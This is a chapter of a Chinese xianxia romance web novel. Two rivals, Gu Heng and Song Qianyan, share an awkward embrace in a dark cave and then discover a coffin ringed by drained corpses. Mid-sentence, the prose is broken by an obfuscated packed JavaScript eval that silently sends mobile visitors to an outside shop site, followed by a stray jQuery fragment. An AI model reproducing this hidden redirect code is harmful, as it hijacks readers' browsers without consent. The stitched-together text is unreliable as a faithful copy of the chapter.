23. 拥抱
    在看着宋浅言拈光而来的那一刻,顾珩不得不承认,他心头的那一瞬间,竟隐约掠过名为“安心”和“松了口气”的意味,人生海海,如得一人可信任,可同行,可相交,也不失为快事一桩。

    看来无论时日怎么漫长,形同陌路了多久,在听到那人喊着我的名字,寻着我,向我走来时,还是会有一如旧日的雀跃,怎地这么没用啊,顾珩。

    可能是黯色深邃,遮人眼目,五感一空,心底用理智勉自压下去的情绪,又开始不由分说地冒头,顾珩的神色形容藏匿在粘稠的黑暗里,忍不住低声轻叹了一声。

    “阿珩?莫不是吓着了?怎么不说话?堂堂不浮堂堂主难道就这点胆量吗?”

    见顾珩不说话,身影掩在阴影里一动不动,宋浅言意外地挑了挑眉尖,带着几分戏谑开口笑问道。

    他知道灵力和武力均是当世凤毛麟角的顾珩,会被这点小把戏吓住,才是白日里活见鬼了,也没太将顾珩的沉默放在心上。

    但意外的是,宋浅言这句话下去,顾珩却久久没有回声,唯余山洞里不知从何而起的风呜呜咽咽的。

    要是胆子小点的人——例如谢廷相或风昀在这里时,早就吓到汗毛倒竖,但顾珩身所之处,依然静默无声。

    不会真落下来的时候,起了些什么意外吧?

    这下宋浅言的心底罕见地起了些焦躁,原本面无表情时就更显肃杀的面容,更是起了些凛冽如兵刃的杀意。

    宋浅言眉骨压得极低,一时骨子里的疯劲起来了,也不管现在身在何处,阴暗里潜藏怎样的危险,指骨一动,索性将整个逼窄的空间一把烧亮,想给顾珩烧出一条来到自己身边的路。

    你说要是惊起了山洞里的活尸怎么办?

    那就打到它们真的成一动不动的尸就好了。

    上一个敢在我面前装神弄鬼的,都无一例外变成鬼了。

    宋浅言眼角一压,眉眼间都是邪肆的意味。

    就在他准备破罐子破摔,把整个山洞都烧亮时,他只觉空气里隐约绷着的弦微微一动,半空中看不见的涟漪漾开,一阵凌厉的灵气携着风向自己袭来。

    多年习武和修道让宋浅言下意识地拈指成诀,九歌一声铮鸣,已隐约出鞘,在石壁上留下一道细窄而杀意四起的光。

    但在转念之间,他已认出这道灵气的主人——孤高的、寂寥的、像霜雪般冷淡,却又像星辰般温柔的,向自己袭来的,是顾珩。

    脑海里刚转出这个念头,宋浅言在电光火石间筑起的杀招都收了起来,敞开毫无防备的血骨,等着顾珩向自己飞掠而来,双臂好整以暇地张着,在那个瞬间,甚至有了些“拥抱”的意味。

    但顾珩可不知宋浅言的心思是怎么个千回百转,他只是觉得这人怕是疯得有些厉害,在这种人鬼不知的地方,也敢随着性子乱来,要是这把火真的烧起来,就差摇着旗子告诉这里的鬼东西们“喂,我自己送上门了,我还自己上火烤着了,加点香料,味道更好哟。”

    转眼之间,顾珩便轻着动作和身形,飞掠到了宋浅言面前,抬手准确地一手捂着宋浅言的嘴,一手握着他的手腕,想制住他的动作。

    却没料到山洞里实在昏聩,难以视物,顾珩估摸错了两人的距离,这下便带着些冲劲,将宋浅言一把摁在了墙上,宋浅言为了稳住顾珩的身形,下意识抬手虚扶了一下顾珩的腰。

    这下好了,那个看起来有点拥抱意味的动作,还真的变成了个“拥抱”。

    ——虽然这个拥抱松散得难看,惯会风花雪月的人甚至会对它揣之以鼻,但这确实是这两人相识多年,第一个像模像样的“拥抱”,隔着衣衫,隔着骨肉,甚至在那一瞬间,仿佛能触到对方那颗鲜活的心。

    在那一瞬间,宋浅言维持着虚扶顾珩腰间的手,略微有些失神,便也顾不上顾珩借着力死死地将自己按在了石壁上。

    顾珩倒没有想那么多,他制住了宋浅言后,还觉得不够解恨,又怕惊动附近隐匿在黑暗里的危险,索性附在宋浅言耳旁,咬牙切齿地说:“不够疯是吧?要不要我替你把活尸都叫出来,让他们陪你一起疯?嗯?”

    两人身高相去无几,当顾珩侧过头,附在耳旁说话时,带着暖意的吐息甚至还扑满了宋浅言的颈侧,让宋浅言下意识地喉头一动。

    而顾珩落下的话音又因为空旷而回还的山洞放大了某些特质,像水,又像细碎的火焰,燎原一般,灼伤了宋浅言一大片神智。

    那日见到顾珩自一片尸山血海之中,义无反顾地向自己奔来时,那股莫能御之心的心悸又排山倒海地席卷着神智。

    宋浅言下意识地想按住自己的心口,却忘记了顾珩还半抱不抱地在自己怀里,于是他这一按,直接按在了顾珩的背上,一个按一个握,正儿八经地坐实了这个拥抱。

    顾珩:“……?”

    打还是不打?动手会不会显得我很心虚?

    宋浅言:“……!”

    放还是不放?放手会不会显得我很心虚?

    在场的鬼啊,怪啊那么多,都比不上他俩现在的“各怀鬼胎”。

    最后还是顾珩先回过神来,在宋浅言面前装作若无其事、云淡风轻,他向来极其擅长,任谁看了,都夸一句“天赋异禀”。

    顾珩素着一张脸,先一步将握着宋浅言手腕的手松开,挣开宋浅言那个似是而非、甚至可以称得上是“无心之失”的拥抱,退开几步,垂着眼睫,守着一个合乎礼法的距离,声线里像含着千山暮雪,冷淡疏离地说道:

    “堂堂奕仁司司主,竟是个怕黑怕鬼的主?”

    言罢,顾珩像往常无数次的那样,脊梁挺拔如元上学宫那株迎雪而立的青松,兀自先一步转身离开。

    怀里的、手腕上的温度随着顾珩的动作骤然散去,再被洞穴内的冷风一卷,便消散得无影无踪。

    即便顾珩已然离他几尺远,不再制着他的手脚,但宋浅言还是维持着原本的动作,倚着石壁,垂臂站着,只是指骨微微一动,像是要徒劳地抓住什么已经要离自己而去的东西。

    宋浅言微微偏过头,低垂着眼睑,带着些冷厉的意味,瞥了一眼自己空无一物的掌心,意味不明地“啧”了一声。

    “我不仅怕黑怕鬼,还怕顾堂主你。”

    要不怎么说宋浅言能稳坐奕仁司司主这个上奉天子,下统世家的位置,神识不过游离片刻,便很快收拢回来,甚至不知道想到了什么,唇角无意识地勾了一下,恢复平日里不着四六的模样,跟在顾珩的身后,看似漫不经心地回了一句。

    顾珩闻言,脚下利落的脚步细微得几不可见地顿了顿,在那一瞬间,宋浅言以为他会回头,但最后顾珩还是只偏了偏头,沉默不语地继续穿行在黑暗之中。

    宋浅言唇角动了动,似是想继续说些什么,但最终还是自嘲地笑了一下,那句已经到了嘴边,但不知道冲口而出会是什么样的话,大概是没机会说出去了。

    一片沉寂的黑暗之中,宋浅言不说话,顾珩就更不会做声,仅容两个人并肩走的山洞石道,除了回荡着两人深深浅浅的脚步声,以及细厉冷风吹动攀着石壁缝隙长出来的草枝时发出的窸窣声,再也听不到别的声响。

    “你自在学宫那会就天不怕地不怕的,在胡言乱语什么。”

    就在宋浅言以为顾珩不会再出声时,一直行在前头的顾珩突然低声开了口,声音听起来还是往日那般清清冷冷的,但听在宋浅言耳里,硬是听出了“几分怀念,几分怅然”的意味。

    众所周知,宋浅言是个三分颜

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197273|147970||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色就能开染坊,要是再多给他两分,他能把女娲造人的活揽过来做的主。

    因此在听到顾珩意料之外的那句话时,宋浅言原本恹恹熄灭的心头火又骤然亮了起来,他快行几步走到顾珩身旁,转过身眼眸极亮地边倒着走,边看着顾珩,唇角微勾,像是有什么话想说那般。

    顾珩与他同窗多年,宋浅言什么样的神色、什么样的动作是想搞事情,他最清楚不过了。

    就在顾珩看着宋浅言神色不对,后知后觉觉得宋浅言又想顺着杆子往上爬,想出声替自己找补把宋浅言开口的机会堵回去时,宋浅言那厮已经抢着出了声:

    “怕黑怕鬼当然是假的,但怕你是真的。”

    宋浅言说着这话时,偶尔从石壁缝隙里漏进来的光点点跃在他的眼底,像错落明灭的星光,却偏生亮到几近有些烫人,看得顾珩心头一跳。

    “怕你又像往日那般转身离去,眼尾都不舍我一个;怕你又像今日这样,一声不响走在前面,都不回头看我跟上没跟上;怕你像在活尸堆里那样,不要命地动手布阵;怕你……”

    宋浅言长的那张伶俐的嘴还在絮絮叨叨想继续说下去,但最后一个“怕你”刚到嘴边,就被顾珩的动作惊得咽了回去——

    也不是多特别的动作,只是顾珩听着宋浅言那一串“怕你”头都大了,索性破罐子破摔,将在前头倒着走晃悠的那个人一把拽到自己身边,肩并肩地拉好,带着几分不易察觉的恼羞成怒地说道:

    “我走你身边,满意了吧?”

    宋浅言被惊得无声看了顾珩半会,听到顾珩的话,神识才堪堪回拢,抬手一把揽住顾珩的肩,笑眯眯地说:

    “这下我就安心了。”

    对着这么个人,打不得,骂不动,还是自己心尖尖上的人,顾珩低低叹气了一声,说不上是因为宋浅言膏药似的跟人功力,还是因为贪恋他身上的光,顾珩像是个溺水的人,放弃了挣扎了一般,任由宋浅言揽着自己的肩膀,行走在这前路未知,危险未明的路上。

    不知在危机四伏的黯色里行了多久,蓦地,像是空气里看不见的弦突然被拂动了一般,难以言明的危险意味在半空中扩出了涟漪。

    天赋过人的两人不约而同地停下脚步,顾珩抬手,下意识地将走在自己身旁的宋浅言护到自己身后,对他比了个噤声的动作,借着石壁的掩护,往路的尽头看去——

    出乎意料的是,路的尽头连着一个极大的空间,空间的中央有个石头堆作的高台,高台上放置着一个巨大棺椁。

    看不清楚里面是何情况,几束天光自石壁缝隙中投了下来,细细的一束,错落地分布在石棺上,顾珩看不到光落下的图案,但多年修习阵法的直觉告诉他,这应该是个法阵无疑。

    “啧啧,阿珩你看,这满地的活尸都被抽干了,但都朝着一个方向跪拜着,不用施咒看都知道,这些被活尸的鬼气,都被中间那具棺椁躺着的东西吸干了。”

    宋浅言轻声细语地说。

    不知什么时候,原本被顾珩护在身后的宋浅言,双手搭在顾珩身上,从身后探出头打量山洞里的状况,说话间的气息扑在顾珩颈侧,灼热的一片,顾珩不用看都知道,那处肯定泛着水红一片。

    幸好洞内黑,顾珩这般想着,缓缓地松了一口气。

    “阿珩,你说,要不咱们去会会那个躺在棺材里装神弄鬼的鬼东西可好?”

    宋浅言偏过头,附在顾珩耳边,低声问了一句,话语间掩不住的都是跃跃欲试。

    顾珩知他甚深,宋浅言说去“会会”,基本上就等于“去拆它家试试看?”

    顾珩也学宋浅言那样,稍稍偏过头,唇角勾出个肆无忌惮的笑,压低声线回了宋浅言一句:“不就是疯上一疯,我有何不敢的?”